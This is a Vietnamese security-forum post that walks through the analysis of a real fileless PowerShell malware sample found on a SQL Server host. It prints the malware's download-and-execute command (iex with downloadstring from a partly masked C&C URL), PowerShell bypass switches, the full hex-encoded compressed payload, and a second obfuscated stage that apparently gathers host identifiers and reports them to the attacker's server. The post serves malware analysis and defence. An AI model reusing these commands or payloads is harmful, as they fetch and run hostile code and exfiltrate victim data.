Phân tích virus Fileless - Phần 1

HustReMw

VIP Members
20/12/2016
251
544 bài viết
Phân tích virus Fileless - Phần 1
Fileless là một loại mã độc không có file, nó thực thi thông qua các script như Powershell, JS, VBS. Cũng giống như các loại mã độc khác, fileless phát tán thông qua các con đường như khai thác lỗ hổng phần mềm, lỗ hổng hệ điều hành, email...

filelessmalware.jpg

Trong bài viết này mình cùng với các bạn phân tích một mẫu fileless thực tế nhé :D

Untitled Diagram.png

Con đường phát tán

Ban đầu mình rà soát máy tính thấy tiến trình của SQLServer chạy Powershell với commandline
Mã:
"C:\Windows\system32\cmd.exe" /c powershell iex(new-object net.webclient).downloadstring('http://d.a"xxx"g.com/if.bin?once')
đây là commandline đặc trưng của fileless, đoạn lệnh có mục đích tải và thực thi code từ một C&C. Từ đó, nhận định virus có thể đã khai thác và phát tán qua SQLServer


upload_2020-12-12_9-50-48.png

Phân tích chi tiết

Trước tiên, nhìn vào commandline trên tôi tìm hiểu thêm được các lệnh Powershell hỗ trợ tải và thực thi script từ một URL, từ thực tế thấy các lệnh này rất hay được fileless sử dụng
Mã:
iex - Invoke-Expression: Chạy lệnh trên local.
Icm - Invoke-Command: Chạy lệnh trên local hoặc remote

ep  - Set-ExecutionPolic: Thay đổi policy, thường là tắt cảnh báo, tắt check sign
    bypass: Tất cả các script có thể run trong phiên tiến trình powershell đó
    Unrestricted: Tất cả các script có thể run trong phạm vi cấu hình (local, user…)
    Restricted: Chặn chạy các cript
    AllSigned: Script trssted sẽ được chạy
    RemoteSigned: Script được download phải trusted mới được chạy

w -   WindowsStyle: Thuộc tính cửa sổ
    Hiden

-enc  EncodeCommand: Command mã hóa base64

Tiếp đến, tôi thử paste C&C trên vào trình duyệt, một điều thú vị là đã tải về được một file if.bin, file này chứa scipt rất dài
Mã:
I`EX $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$('edbd07601c499625262f6dca7b7f4af54ad7e074a10880601324d8904010ecc188cde692ec1d69472329ab2a81ca6556655d661640cced9dbcf7de7befbdf7de7befbdf7ba3b9d4e27f7dfff3f5c6664016cf6ce4adac99e2180aac81f3f7e7c1f3f227ee156fabbbd7c3dff72917f6f6ff7fb9ffc6eabe6dbd5e2f47bf776beffc9c7ef3ebe936e7d94fe6ed4a43a6fd2cfd28fe9838f3e49b7bed7b4f5d98bcfbfffbdfaf4f3d3dffbfb8f1e2db2f6647efa7aeba33b1fffde1f7ff2fd7bbbdf9b15cf9fe7f3e677fbe4fbf4fb59599ed2efe956fa0bd39f49ef3cbcf7fdfa787ef2bdd1c73f7df0eae3d36956becc5f4db7d34f1f9acf577b3f283f4ef3e9f1f3d5e9abed4f4dfb3b3bdae293873bbbfadb83fbe6a37df389f96e2bb520d23d03fbcede81b6dbb130f6772db407facb7dfd65cb82d8dfd346a38f5f2d7eeac1fa630f7a7ae7e3df38f98d933be91d1a1190a71f23faff77ee35f4ef564e435ce5afc6f8f6a7160f77dfe2eb3b3b07df7f95cda7dffb64f7befe02ccf9b7ade09557b3fa8bdf4b217e777fd985c8d830442281007af8a9fe7260207e724f7bf340d33cf047dfff7c59bc6a1bd0d736dfa5e61f7ff271f0ea270ffb30f67b30761f18107b16d8aef9ed7e1f0261fe4b40bccfafabaf9ebe38c58f1fc3dffccf2f917f7ff17cda66d35ff263fcd79df3c5cb7b6fbfdf2ecfbef7c9ec275eff3e9f9d2f7e217e7e7207effe7ebf1ffe4d9745f5d3dbe9ecaa69b2559b5fd00b5bd2b8d0c693dfbfa967b36c553c2ab34955a28534984c57d2a25daeabe9b832ed6c832a6c50f41a146103928065beaadaba5afdfed3e2a22a6dc383e186cb3abbb6ed1ef4daedda864d31cb6bdbf2d3618861c3fbda30d2703573cdf6879bcd9bc636bbb7a1db856db537dc6ab270c0764db3ebbaf530aee5c3696601ca07b3626d274f3ec917d9f2f75f2daa69f8f18b2fcf5ebf3afdc99fa44f89e73ec1ff19f04ffe1ecbaaf9e9314dcc5d6e57d6ebdf7f7955cdc03317cba26e5fcfb2aaa44f9e8eefb4cbbc284f26f977c76dfe226da7f94f4fbedcbeca5f6cfd98f0e66f9ccc5b628545012453fcbedd36794bba9399565b9d7e71fce2d5e99baf5e7ef1e5c9a3cb658eb69fa53edadaf0e9d9575f51a7d3f5acaa5f2ef2b6b97e5de7ed9a1a9dfcfe7bf796c5770585aa585c6d13976f1114258702d84ddba62eceb7b5dd36fd28f326dd3d2d5fa74d938371a7d917e33bbf245fd72dd0f88953929abc9c643435c5f8f7a78f7e719ad7f9fc4ade5956459bd5eb8be27c599d102aab6c76fcb6aeae881a3e425f168bef12429f03219930c5e717d39cca6f9052a22e663faf5964dba69a6fe76d515f490bfee713cb05faa1aa05f3c3fe945fd2c833f885f9f26d96d793a106a691d141774026619c56f86a55d4f5daf2da67abe217b2947f96afaeb585c779d2e652584e06ff015c0772de843868fbbbfeae27275fbdee50995b6c78f117df314cf18b7232a01759790ee4ce8ba1f75839a3133252f43ffc36d23ff143557e3de63618b4df087f07ad483de4b36a6a55666ae99c4ef377397f4cec65f0fa2121b5f38d21f58befdcd9028b90dc8eef6cfd9e4c64f749d0cb00cdcdec5a1cc6e3f1db693e9f9263525cd624e7824f5b676dd31331239177ee7c9ab617dba4ac2e967939b6c0b6d2d9322394dc089b6591b5cb6ada56cbedd4d7deb3b2c20b5be97961c1a67762768fecb223d9d67c4a92579deb2bfa23fa5a93abb6da4e1feeddbfaffa9b10a756dbe9329b36653665d277903240efec6eb3d561e985a9de1a8ff1e37b16321b70bfa3dd9d9d079b3a30c8691720304d00c9ee12cdb91dbfbe6116bab3d9fdbbafe0ecbcb1d2fa31fbe7fba827f816463bfd2c6927721dad8272480eaa22d76450e9d8162c19ea1e75c40f9f7ad217f43b2c24fcd6ff0b64c48ce9fd44c4bcd591909f5dd13838d839d8d48122e5913f2e1983a4ffb9118cdd6656ff2c0bc6372115bb4352615cfc8e58f0c7343de63dbfe7885c104b2fc80b4de5b59f3bc1e8c738b7138dc87b3f54e178f8e0dea7bb911efa78790cd0938f3d16908d73e00dfb67471e7e240eff2f1287af290d3708c30f43183675701b51d8fda644417eeb4ac50d6231a3f0165924fb39fe1892184a8afc7025e63622a3bcb91b9516272e92d049bdf192179702625b5512a23bfea52c443da137ba72c4e076b7a31f7344e5a03fc2cff4ba7eb341ced1a42c33e576ef658fdfe3c24bb45cd5eb490a1cdf5f6869e4ef29b71a92dc2cbe4ae6f7135e7de99bb7631b44776f6f93e00a461ef1e31ede06f27f73325be7d4edc44ad944b38c5d49fefe92759565a99bc5b959fc1c4833f14b4c46bfbfbb3d1eef6d7fef0e0beb6c31e5cc6aba4bbf6da7e167fc5177b4297eddf6447855d0d4aeebf21735cd02893a4bc5514f72eff448c7d31948f0564c8273621c80faac07f217dff9e413004d0f251bec21da9684187fb5f3197e6edd46ce79185f43d2df53cc6f966f9982f7136f79e7872addf7eeedc3491d36cc5ed67658bc43aaab0e7c1f39b72b3bfe37faab1ff4759f1b1b9846372677cd1368945b38c770257f7f0c94d62e7e585ae2c641a47eceb72dd2b6baf8fe27dfdb105c0f3d80a2d3499e8364e037a47efdd7c499b8e0159d8eebcdf4ba00c114e46de0fde23b3b2cb5dbdbbc14a06b455b7959cc6fcc61dffbcc7fe7a6d6ef33fd3fe499ff3127172a8d58a421955dae2f5343d5b459e494d0b2c8f6a7de03f38bef600a3a46c64d17def9fcc917afb7f3b7d5e5f2ec33b308e363d1d1c3a21c2c3283ba58ba378352f5700b7de0216f7ee73f526177e5f7f460923b12c4c76f15771392408d16e7de3bec0ba89fa5d23e0442362e4f7de43af83cb8053e03e830b4348d22f4a08f90ed3c640f6af83e8c91a6bff80ebde623828f9d75dca2797efde8d1f7a7cd83ddc5b861bf61fa9a7a6c9bec84f8e0e5f73e93f7ddcb83dc42b8bd1f9fa852d2bf6f6414219d583f718bd6eb97308c94f95dd3420b3ec7aff097d8c721c3bfa866fa8dfc91cfdb88df74bdaaa6da91cad3279f306cf1684ec67e177069f4cb1d9a35fed5ba35e67d688831fe49f365149f603ed881721ed4c938c09c7d2875a260d67b7e94522e4a22ee18d8ab432604e2489066885d059eafdb9187794a60eae479a0e3619fef1a9e8cfde6ce35c4a8ba83eab299e3331adf66e75095d0cf968f18b8886a8d6eeb2352301abcf743f513efefef6f822f2879e48ffb891bec810c17ff5a7fc3e2f819236922841047b0027fbbf3198f8489e780fd12f951fdfe8d7de5b31082f64d2cefd6193f535d6bfeee3808685bd9fc9b36eea4b0b88dc6ebda228895f9fbd5cc87207f05efabfb64005cf864e6162ab006e1ee882af6ccbd162638d436959893cf3cdb6258d51a34fc557ce3f4330b56dad4fc1969790b42df40e71bc87c23956f20f20d341e26f19d1dcec581c559a77b0cab996d0e987fff3a6f975e9f3235da7cf733b4d364816da93264a1d2f79f7026e4708f25867fdde1575962d0260090ea7c931de12fef6cfd9e415868e620f29d923ff28d523e066f31f0852a161e2ac77034921d7a443bdfc91745fbfbb346a156db77a0569adf5d944bb6a8ab675f514ea4cd9e6eb7f9e75b5ba0061383fb510a4b00814f36bdfc59d0115adfbfbff79955503c637e8ec3d211df10ea32b3a6977993cd578b1c6f72779f7d92e223316e8637bc46a18d714dd9b4a0b56643d32f9ebf79b1bd2474bd97155c9842eda44f7f63c152bd6e87ac32a389d781ec6c36f3d0f69d0dcbd53c0da75f1cbf7875fae6ab975f7c79f2e872999b97e0d3080c634ad95aafabfae22de57537b4b95396ebe5d64083dd6d16256e481f7fe71e9b98adf32fdfe5b3e5d9386c2c7f85540d1c2cb5d918ce2183e45e4770ca1e71c3a7dfc2ef5bf9342b57f9abf19dad050571e37c5d6697dad767f2c31245ba44f65a50b1867e80cef3f97c803d0c7f70838dac7113d406edbb931783eb35b434a4f1ef4c1f1eec4c77f20726ebfdf0fef4de83c9eebd8779f6e9ee6c273f9f7e3adbbd677d5901ed53d7e1f4085da4d4073e1aa23df87b03e505d267f2c38e48fc5fa2bc767f13e5572bc892a591951b47a21d51a2c637e4f6d631e4bf3ae4b33036f0b3821998b810a919af7f7467ee7dd1f2a0bc1f62bd79d11599971be646a07c263f2cce82153c60e9e4a6b95973c864c8e02202470469110ed4b5bba5ba10201b68a20d06262bc4d20b0037a3e935fcd9c3b33777f9225b52c75f857347c146307d02e833f96187b130496eed2798be43d6119f8c1f2d553d88e2fceefe129f8f1c076f35390ccf827209eff28bbcfede67aa3a03282cfbb77999e5bdf3b265d0db005016058034b5202c9d6e03820923200c208feefc2f4fa4151500bbfe42b36c5886f1051c007ae2809f96e39ab9d2d8e3bbc066e884350336c3b7197de8cb41a153b0dc6058e6fc00789f195a751405b6c0122fd71529a49f78adc3f87d7676eeb3d94063d76acbb23145b1f7ecbb442d4fe37f7fc7fb62e9f12bcfc023a67b5b94ab669c2f8bd235d5df2ca6d7595d67e66be271af75c8e8690adb4810fc37aca4a3bfba6ab3ba6d8a65b1981d3321bf9f97d5abe5595b16eb270d658297c577c765a6a35f15534a0abf1c5f536cbc9ee6afbfb725ad9bb3f19d3b5b9420a66cc10979a5c46fd484fe9e9d3918bd97bf6f3fdbd0485484ccbcc76cc4f42f14a9317ba231ad9b225578074da5cd0dba97a4a86dc55f65a9d94e9f9ebde637d943b75c77873ef925fbbf7846f2c60aed33f7a21297cc9a3ac8343d0c203513c3f3cdfef9f41852fbfbefdda39143aaca936dcdaa178bef72604033e7fbcae80b49a396a68be7cacb53c870918c5499c43ff7d2559e97cd368707dcc4ac51cc0c4cbba430a701148b02ea81d5806bf759fd0bbda5035a3568b3d9184defa25db0644021cbb3810583310da4b97e2d23ac68dd6029eb06dec000138e565ab5b468dbf2103b43d4504be35387a38da0eeecefdefb74f7fe9eb87522ccfed85242e34c880bc10ebea2df5f6eb74dfe66eb7775c1576a9668d00d3e80f41b0aa8c6fd64b568359480b83a903a174a63a3679745f5d3dbdfbf3f1eef7ceffe6c71cea90b8fc26612edd49c9f715a8bbefafe39e970b68ef2d9f39c3028b309e53b59f39bd0f15ddeaebf409e6b46e49abff1166b0ef34656ba3f73504d8712e11a97fa11c3bdd05168f46b6291d897d66beb7c49165b00ab17117e8d3c291338fcd8d0eab38949f0c4bab4d933f7e5f7bfff3d5eb86abee79ad924d150336ab8ffe9a4cd26209eac7bed7f4a947ab2a8ea67a4ccda3abf5c5627df2358d4e8f7cfdbeb89e261ba509bd6411223c8dad5a29ae23796ab77559dbfb37fdddbdb9dd53b44b8dff3a5fd0ca949fb47b5c867f68fbc2eb2e242b394fcc9ee8e7120ec47c4c0adfd0324b77f3c7ffed50bbfe7a02563d201f5eacba7c7af4e5f7e693ff8f4fe3eb53bb67fe3affcea17d9bf0f0e0e604932d760ffdebdbdbddd5dd76267678fd252f66fed937864e57f4c70a793ece4c9b17bf181749eb9def5dd55e6debb38cf67f4a2fddbff1d5d7b4def7b9850f7daabd7206b823fecafedfd7a3fbf77b5f78bdca8b215251ecb7c414b92e623c5d6754fba906cb063846ffdc2dfef77273ef9f1dff377b51f111058bf957b6759cc9be5daf5bdac2eb27ae6fa7d68c8623fb29fb89e3b93d4c39e54e6eecede7d07b503b2072f9cd25df3d84f0ef4b11fecf4f1a4dfe57ff693d4fe9675f9eab8fb81efb77824be94851f01c28ffd138c62ff584e2ea7ef7ee0debbfa453e22ebeafaed747d6eff7ed75cedfd20f308b6a42c5cbef2a6655515eb6b52121e86a40c26a44126f683cef77d69339f3834a963ead7fe599565ee188c7c8e265bd83f458df863448edbf59ebf5d56ae350d11c42abcd7ab2b4f07019af7e7d3573bdf7dfd3af8e0cbf0839e16d30f1c3e32baa04515b6a039f83d7d81c5a4ff9e8138e393e003d113de987d76d8ddbbb77fffd307070fed277d36ec7dd0fdfb3e3f0e669fcfed9f7bfcd83f77f871dfeee23ffbe7a7fc74700dbaf1456cef5e4776486305580638077fd0bbfe8bdee71e6aee53fb1b69b369995fd9bfc1d06d5539b120cdd5111ce54137c50ff9f1bbff3d6da4e1e6cffdd90b474ca3f0839f3afe89df3510486ae141f9bd5f7ff7f70cbe263409591f538a4ccaeac2fe493cf47b7608fc7b16f955b6feb6fd88291c4870cf1e99e1390e24128e7db82236c75d19f0a496fc88453359cfec07e35e37e7b3c6f5d0aeabf934ffc1f4f7778399930d71ba2db4f21de6666cc5b4898b26f9c021374973053de5cbefbe3a7dfdd5b4587c77838f65bbb408c441696806483148bf44dc2ef1d3aa3763f98528f76d38e0cb9a9ccc575ec42891eedeefcde0ed4be4c33d81b737a3159dd57108e3fbb3a2fac9ef692c27301ab4b75d9ca5e6758deb9e71ab9ab88ac26681356edfe56f82a8871d701a5ed097260d14d59d74b49853b4535d94c7df7e890e08667159d52fedc779539527edeaba3e7902cf947f81634abe75d6be7ef3e2a58d420524f99b3f450d2930689767df4b4f5f6ca79d2ed2f3339f5c404cbec06fd715913d7ffa611d3a90a62f192b0768cfc7017147e15f213673b0cab31b90e940c77bd59b8c16cc2cc0ce9f021f1fe1af5b4037b4525ef31313660a49417ff02c2a55df671e7d54bc256b7ebedeccde844438b7369ef760a4afbf7a73fc867ea7d0b8b84a67145b67e7fc1ead62e6b592012f514c5ed7a71cef7f57c6a03cb5c35d79302d2381def4bf0e62b18f2ca22985d1afbed793b42e421b39e0c6f9ffc6269f18e97de7ff56f4ef61458af0cb0f9e0acaf273979ca4d87ffa05e74a3b0411faf7c9e210d848fa0e213e13e6b6b36bbe88b70d3109da7eba9b7eff7bd03da1b64e535f217d5f9ac81b77eed4bcecbec52d5a9aa9fcf3713eaba6c5f22bea15f9976aba3c654bf0bd2d8c9c13054efd3094df1334723ca57cb4a3cf3b24485ebf3e3d39f9eaf5ef2f13f9639af80c449356f5d7e9234bac74b15ee6e9b42827eb55c09f3b7b1edccf8f9f3ffbfd4f9f3f397efdd5e9abdfffdbaf8fbffdfbbf79f9fbbc3a79a2ec373af0b1e0d627c75f7c9b5e79fa82da7efefcb8d37ed76fffed9337c72f5f9f3dfdfd7ff2cb572fc386be5afac560f1600c1759f9ac597d49b394f686f17dfe568d331652f8efab59ba778f6692f2d7984ec5a65daf966793694a70239faf64ba27e9f739a37efcf2f9385f5dbf99e517190578cbafb69ae39292e675f6454a6f7c69df663b940ae7a4dfa76fd29183ddb3526e4690257e87c1d0df4d3826f650ca7236c63b538e19b7daba5a2dcecaf2e90f7bacdecb9b871a1acc6f74a037d338b05edf68df9b889cd7b42641541efe6e65b12eb36555b4ab00f591a8160cc08372534b07b3c787f62b0a04c2af55d3a9ae288f3793d3377cb7a366d5ae8f29b1ff9a925a27c88bea6f1a2b7e0895ad8e9ea7f500ca9b4ceaedd0df882614d26d30c5b4d18a52bec84b7af307cd4a7cfb66604a676784a9df2a3ae8c129dd64316f37e80f9833b1fea6335a44981ad84ca5269f169775fe7a451697701fe70b5afe5bbf32f10f0db8594b4b1843a26fe49bde27308cbf670a42923e3dcf9f42656da7fcef6c762c6819138c55f8ed65fe39379f2ed7e7f89623c5bc2933ac78486458c3e4f077e6175d34f1be36df9033b3dca659d83d2d5fdfd96ddfae7e7f8a16b937faf97abcfb765ae12fff15a0635bc12d98d08ac7f8ecece4f571cf23a019f081fa603852fecebd06ff3fd83e6fd79fa91cb779832c727a38839f41ab5bf57a7b41eb8adb575757dbefee3243d2bcac56d923a6133127ad789e00ceb7ee7e2b7dd4ae725a78c49fbbe3fbf7c70fee1280297dbccc2f8eb7b11ec95fedec3c78f44b56c52f06568f6809eedbf2c2eedd976fde7c3b3dbcb3b7f7bb1fdea165bcdf7f9abfc3aad7167e8eef6ce9ac63c886012e965939ce2eb39fa677b6083dca71bf461ef335c565e3bd32bf5c8c29e99dd7f99c722565d554f4423ba6c4c96779395b66f35fb84b36ea2525a3befd59994fb2e7f4d7eaf7ff8598b3cf26abf3e5efff7b941958754c0bd10d2ded3edbbbbff7bb9fda7fee36d47e51dcd56fefa66f4e3f67ef96920c6ea27ccaff12ff0f34fd250ff67ef7d9624acde89711fd7fbaadbfcc9bbbcb6272977efbc59a9f789dd2baa6c2f7c863401ab0bf9858324f6fd1d35dfd853efd1abdb08ea357c1be20392dc05d559c6a32ebdbd21b2d9efaefc9b2ed78977fe27bf0698cd5c126a315962fb7e49dd5f4cdb869736afbda5ff27d333d25f6214ce9dfedefd23fa72f98f52dfc1ed27776c6b4b0b96bffd9dfc518f6eddf7bfc0f7f782ff621bfee7de33efcd47eb3b3bbf5e8cbe7a7dff6e9a1ba44e8a181977ce6adb51b5403edb0c50668ec918949f4fd3bbbdb97d3bc0654acf74e96f84dd4ffb062f84cfb3450e4adfcb2c8a7f92bdbc767a9426645788796b3d2d11da8cc9cd7a4799dfa7a821f5b5b2462640d966762e6a943f602a181187674483d7dd71d9cafa41eee3e7ace5ae2fefdbd47af55c1ec8df776d37b9c7dbc852eeca842614566459f133b48382dded7f296a7641ddde2fd617c1b675b5ac2b6bfdf11b1d22e209d53acc5dc68997e2c1cd0a05922bf7b46ecb8c2b71cea93b6bf8be5a07539bdbb7b79b7b9bacb4ccdfd837157a4e459e2985d7c50ac767ec92fc10f5516d4c0fcf5c87e4c3182ae61e3ffbfd87ed10c7e33cd570dd9936541ee5135dd5e64e68b91f9e5c5abe3dfa7d713d9ac76db3362bdb7f245b6a4b5ac1896f86ae3bbb362e0cd59117bef17e39fcf7c627b8463414303d224f87564fe6679cba759b9caebb1d09348afbff800ee7cfabbdf595444c057db6dfef9d6279f6e116badab134aebd84f590e69b1753c7ef0f0939d87e3f1fd4f3f79707f3c3ed8dfa244041c81ef6d2d8beaa7b73f7374f13bf9febdef59443913d3d2089bed541861eb334311ff9d5f4c2a2bcd97dba97bb3471e1ee4f997eff2d9b2182b30519a86a9f07f664eef4d4aa82cefde965905ea8fb148b060a84e5451119dd7d7ba96bc1fa47915fc4d7ad728de0fd0bc02a3ab775f7654aef6645c96df5f3fbe9d5205ce366de5748c3f5b50d73c0b9f7d62fd22d389696bf92385f7d2030139a1d6c61e70eebdfcfdf5d347928af7bdd165d5fcb4efaea681bf7a6b64ee586603cb6a77e045f5972303fdd6adfde083839d830d7ef0bccd98b86f5e7ff952101ec417fd0b49c68a235281018d52f6386c6bf5c2064c9f69d59b06c6233419e66bcf0c9a8fee6084dfa029b45da939b47fdfd1418e9466a64f1577631935a4f3eca7d8cf659d5ddfd27cf2bfa1ed14a66713b1ac9e32859c37e7bec4dce697b21a6a693d23a9256d8c39754a2978a599c0c4d5d3bbfc4f5955abe66e9d5dde4deb62462f34e94571be1413790ba8f7d2559e97cd765b93d6f860dc0c472cc94a99ffab29fa96feb77bf75bfeb79687deedbd03f6efd9615b55750a5b446b0ce793af317e03e81b21269abd5b2f8b32a5ef79713bad96f4fbba7a16e5825f7c67276d2fb665951b2f3e7fd454f87debbcead8ba00d9ea7c59dc8cd266a9f6b9b7c3d7829b48af1882870fee7dfa0d88ad422661f57adfc5ca65c4d67e4d83bafbf52ceaae5ad49f7d8b8a6fbea61d35c9a791b1c7febcdfa4d39a62463ada576aaad69a554179bd0aad7dcd66e6c77dedf1af4d58c2859c8e5d9b4fc0978ff8d3141fa5489690b3952eb3699352eea4e2f04cfd82d0adfafe2e63fbbdc66318d34e58459c36b2d3aec31fd3efeeb8b7a7f992649699957f3d991161a3c08556e479e6da32d28c961b0bd7b2b9ce7fafb1fb32a5d50f79636b3ea5c9a8ce7db5fa9ad5eaeb60b0662cdfdff91eaf780674fdaec589a5af337c5f8abf3f341a377abf95fdd0920b0c8b29373f314f8e61941ccbe2227f12688f3ea48d0a2158d9ec531e9ac09136a75c5d3d9b654ad708598916bff8f72448c180fc8f434d433cb1ad0caaee99d7c5f7fcfe986dd3aa4df1f3139a9bfe978baa3e1f8fc74a27e16b3035ebeb41d5aedd7bd08c32bfb3c5285b46febe66db1a5deb15e1f35eec3418dddfdf0751ebea25bea47538f97c6b91d5d94bfe35fdc58c61994d3bd900957ca0febbfeaee4a4cc52ed866c87e42bbdf1080bf2bfbfbfa1c698e9746fb26e78967ef1efcef9b2fb7ba4a8219ed5efdf00daaa78546693aabcb033f263baa85ffdfee655ccb48563671b8d5c9b1f97978496eee32d4fd7f06729c579eb6a03fec6a80562c5affefecb8c73158cbce9c0f2e99da04da35986b6a210c043c7ea09fce59169f2fb875da4fe9f812848679f7cc28439fcf4fe5eda96dba9fcb5f3197762a8d3071aa1b937f4b744d8c92fbec3ae064514c08c9478889c0a0974decbb3c9fa6553f09898f87728d1468bfc8be25df6859f32d8fa6467cb1beb9d3bfb43ed76a51d4f0fd00da9204357477a8bdcb9b93f73777e494abca7f8756660553083830abfd8281ce4f7bf9b8229d3a24f1796bcc8e73ff663bfb1f0458cd9f786983d0ac870bb60ef33bb8513aa36c7eb3eb36f64757502bbaaa7c3debfc470b145e293f4cecbb3365f4ed6af0d317c8e97a94865cdc0fced096ce4f55064742e5f9ea1b5cf48f24dfa8bfdf731973aaf6e4aedb09dedfdfedef75664540405c2c14e0cfdfefddd0ddfed78df7d967a3d1b4b685b6f215bf57a6c9adad73c42e2674e8e3a307523e55c0c85f57be6ffec38d2a2e955c371d5584851579ae4da19f37f37b41a83c51e7eba7b53b3077bf1264e1f19362449296149c086d22460411d6654497a42462c6f001912c83251f546acc8f1cb3343c44f3ce9b4f432846f9be279cce4a782d533d38e592c80c36c84c781381e1b97865605b317d74f903e21bd43cef5eb174f3d9f84bdeba0678317547084045[...]c7efab4a400f08b9dfc0a63fd092201c5f557b3273f787a51d167ab675fbd5a9c1eefffde6fdf1d7ff55571fad54f16bf17a98d67e59bcf77e6d32f4fd96f7d4373fe966c392d729efd3e2c61eb8bfc277f2f5a1f77214431d9fdcebd302c209bb7daa1d0e0ece48bf5e94f2bfbcca6effc68c49add9f9c7ee7075f986863fae29e468cdffebd3ffd62efcb9223c2dffb3bc5f1898261eb7a71f1ed192dedfd5e1757df3ebfb8faee6c7dff6960572edea2f76fcf7e0050145c193017079f6764fd286e2d5ec14b58eefcdebf179bae9ffcee647e7f31259b32bb82693316f82bfdfcc5ef3d334123d607ef1edf9bfea2fbc507078864166f1f232a017e142a7ee3a1e28f62c4ff17c5883fa41851a5e987182a6a8f3f8a18df3f62dcbb6dc4c8012311792bddba433fe87fcbe2cbef6c7f7f6fb4bb3bbaf7bdd32fb2e5185f7cebd56cf12dfa999e969495a88f2fb7b6d25ff831fdf3513a4a3f1e7f3cfab83efb7cdebea948433fa7ff9f9ed33f6f3e4eefa43ff3bba7bff877fbfdd35f72e7938f7eb7adb4b94c3fae9ebdfe38a5ffee7c445fffc6c9ff03'-split'(..)'|?{$_}|%{[convert]::ToUInt32($_,16)}))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();

Nhìn thoáng qua đoạn script trên là thực thi một đoạn code (lệnh I`EX) đã được mã hóa, để có thể giải mã được code, tôi đã sử dụng một trick nhỏ ở đây, tôi đã bỏ lệnh I`EX ở đầu script đi và thêm vào câu lệnh để xuất đoạn code từ memory xuống file
Mã:
[Text.Encoding]::ASCII)).ReadToEnd() | Out-File -FilePath "C:\dump.ps1";

Và đây là code tôi thu được
Mã:
&( $PShOme[21]+$psHomE[30]+'x') (" $( $ofs = '') "+ ([strING][rEGEX]::matChES(")'X'+]31[diLLehs$+]1[dIllEhs$ ( & | )93]rAhC[,'j8R'EcalPeRc- 69]rAhC[,'p2zl' ecALpER-63]rAhC[,)09]rAhC[+901]rAhC[+75]rAhC[+94]rAhC[+701]rAhC[(  ecALpER- 29]rAhC[,)28]rAhC[+001]rAhC[+411]rAhC[+77]rAhC[+57]rAhC[( ecALpER-421]rAhC[,'RmZ7u'  ecALpER-  )'

) )j8Rp2zlj8R,j8RJ3sj8R(ecalpeR.)j8RZm91kj8R,)08]Rahc[+15]Rahc[+701]Rahc[((ecalpeR.)j8RRdrMKj8R,j8RW4nj8R(ecalpeR.)j8RRmZ7uj8R,)94]Rahc[+96]Rahc[+801]Rahc[+38]Rahc[((ecalpeR.)93]Rahc[]GniRts[,)001]Rahc[+18]R'+'ahc[+38]Rahc[+98]Rahc[((ecalpeR.)43]Rahc[]GniRts[,)17]Rahc[+121]Rahc[+111]Rahc[+58]Rahc[((ecalpeR.)j8R}

GyoUDNEGyoU



}

}{hctac}

)fmP3k]tnI[+dQSY=fm&dQSY+)GyoU^^GyoU nioj- dwssaptegP3k(+dQSY=im&dQSY+b_srddapi:labolgP3k+dQSY=bcp&dQSY+tnuoc.o_srddapiP3k+dQSY=ocp&dQSY+tnuoc.i_srddapiP3k+dQSY=icp&dQSY+tnuoc.]1[nepotrop_cigolP3k+dQSY=8cp&dQSY+tnuoc.]1[nepotrop_nrayP3k+dQSY=7cp&dQSY+tnuoc.]1[1nepotrop_siderP3k+dQSY=6cp&dQSY+tnuoc.]1[nepotrop_siderP3k+dQSY=5cp&dQSY+tnuoc.]1[nepotrop_pdrP3k+dQSY=4cp&dQSY+tnuoc.]1[nepotrop_hssP3k+dQSY=3cp&dQSY+tnuoc.]1[nepotrop_smP3k+dQSY=2cp&dQSY+tnuoc.]1[nepotrop_bmsP3k+dQSY=1cp&dQSY+yrterP3k+dQSY=r&dQSY+camP3k+dQSY&dQSY+diugP3k+dQSY&dQSY+eman_pmocP3k+dQSY&dQSY+NOISREVVP3kj8R+j8R+dQSY=V?nosj.gol/dQSY+lru_nwodP3k(gnirtSdaolnwoD.)tneilCbeW.teN tcejbO-weN(


htapimimP3k htap-tset = fmP3k

EMANRETUPMOC:vneP3k = eman_pmocP3k

DIUU.)tcudorPmetsySretupmoC_23niW tcejboimw-teg( = diugP3k

1 tsrif- tcejbo-tceles 1ElS sserddacaM.)}eurtP3k QE- delbanepi._P3k{ erehw 1ElS noitarugifnoCretpadAkrowteN_23niW tcejbOimW-teG( = camP3k

{yrt

GyoUgnitroperGyoU tsoh-etirw



++yrterP3k



}

}

}

}    

}        

kaerb            

}{hctac})tP3k+dQSY=t&dQSY+pirrucP3k+dQSY=pi&cigol=epyt&dQSY+NOISREVVP3k+dQSY=v?nosj.troper/dQSY+lru_nwodP3k(gnirtSdaolnwoD.)tneilCbeW.teN tcejbO-weN({yrt

Nhìn vào đoạn code trên, tôi thấy nó vẫn đang bị mã hóa, có thể thấy con virus này che dấu rất tinh vi, rất khó có thể phân tích. Tới đây tôi đang bế tắc, chưa hiểu được thuật toán và chưa tìm được cách để có được code sạch đẹp của virus. Tôi sẽ tiếp tục nghiên cứu và viết tiếp ở bài viết sau nhé các bạn :D, bạn nào hứng thú có thể liên hệ với mình để cùng phân tích nhé :D

Note: Công cụ phân tích virus Fileless
 
Chỉnh sửa lần cuối bởi người điều hành:
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Thẻ
virus fileless
Bên trên